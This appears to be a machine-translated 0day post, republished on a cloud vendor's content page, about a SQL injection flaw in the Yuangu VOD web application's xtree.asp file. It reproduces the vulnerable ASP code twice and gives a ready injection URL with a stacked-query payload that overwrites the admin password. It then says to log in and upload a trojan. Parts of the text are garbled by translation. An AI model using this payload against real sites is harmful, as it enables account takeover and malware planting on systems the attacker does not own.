Yuangu VOD (0day)

Source: Internet
Author: User
Tags idn

Vulnerability file webmedia/common/function/xtree. asp
<〈! -- # Include file = "../dbcon. inc. asp" -->
<%
INode_ID = Request. QueryString ("id ")
If Len (Session ("SuperAdmin")> 0 or Len (Session ("LIVEAdmin")> 0 or Len (Session ("VODAdmin")> 0 then
SzSQL = "SELECT Type_ID, ParentID, TypeName FROM TypeInfo WHERE Type_ID> = 20 AND ParentID =" & iNode_ID
Else
SzSQL = "SELECT Type_ID, ParentID, TypeName FROM TypeInfo WHERE Type_ID> 20 AND ParentID =" & iNode_ID
End if
RsData. Open szSQL, con, 1, 3
SzRetVar = "<? Xml version = '1. 0' encoding = 'gb2312 '?> <Root>"
Do while not rsData. EOF
SzRetVar = szRetVar & "<TypeInfo>"
SzRetVar = szRetVar & "<IDN>" & rsData ("Type_ID") & "</IDN>"
SzRetVar = szRetVar & "<ParentID>" & rsData ("ParentID") & "</ParentID>"
SzRetVar = szRetVar & "<TypeName>" & Replace (rsData ("TypeName"), "&", "&") & "</TypeName>"
SzRetVar = szRetVar & "</TypeInfo>"
RsData. MoveNext
Loop
SzRetVar = szRetVar & "</Root>"
RsData. Close
Response. CharSet = "GB2312"
Response. C
Response. Expires =-1
Response. Write szRetVar
%>
<〈! -- # Include file = "../dbend. inc. asp" -->
<〈! -- # Include file = "../dbcon. inc. asp" -->
<%
INode_ID = Request. QueryString ("id ")
If Len (Session ("SuperAdmin")> 0 or Len (Session ("LIVEAdmin")> 0 or Len (Session ("VODAdmin")> 0 then
SzSQL = "SELECT Type_ID, ParentID, TypeName FROM TypeInfo WHERE Type_ID> = 20 AND ParentID =" & iNode_ID
Else
SzSQL = "SELECT Type_ID, ParentID, TypeName FROM TypeInfo WHERE Type_ID> 20 AND ParentID =" & iNode_ID
End if
RsData. Open szSQL, con, 1, 3
SzRetVar = "<? Xml version = '1. 0' encoding = 'gb2312 '?> <Root>"
Do while not rsData. EOF
SzRetVar = szRetVar & "<TypeInfo>"
SzRetVar = szRetVar & "<IDN>" & rsData ("Type_ID") & "</IDN>"
SzRetVar = szRetVar & "<ParentID>" & rsData ("ParentID") & "</ParentID>"
SzRetVar = szRetVar & "<TypeName>" & Replace (rsData ("TypeName"), "&", "&") & "</TypeName>"
SzRetVar = szRetVar & "</TypeInfo>"
RsData. MoveNext
Loop
SzRetVar = szRetVar & "</Root>"
RsData. Close
Response. CharSet = "GB2312"
Response. C
Response. Expires =-1
Response. Write szRetVar
%>
<〈! -- # Include file = "../dbend. inc. asp" -->
It is easy to see that the above database permission injection exists.
Inject address: http://WWWW.2cto.COM/webmedia/common/function/xtree. asp? Id = 1
Table segment name: customer
The constructor changes the admin pass to fuck.
Http://WWWW.XXXXX.COM/webmedia/common/function/xtree.asp? Id = 1; update % 20 customer % 20 set % 20 UserPass = '633f94d350db34d5 '% 20 where % 20 UserName = 'admin'
 
Log on to the background and upload the trojan file!
 
This article was originally compiled by (0day5)

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.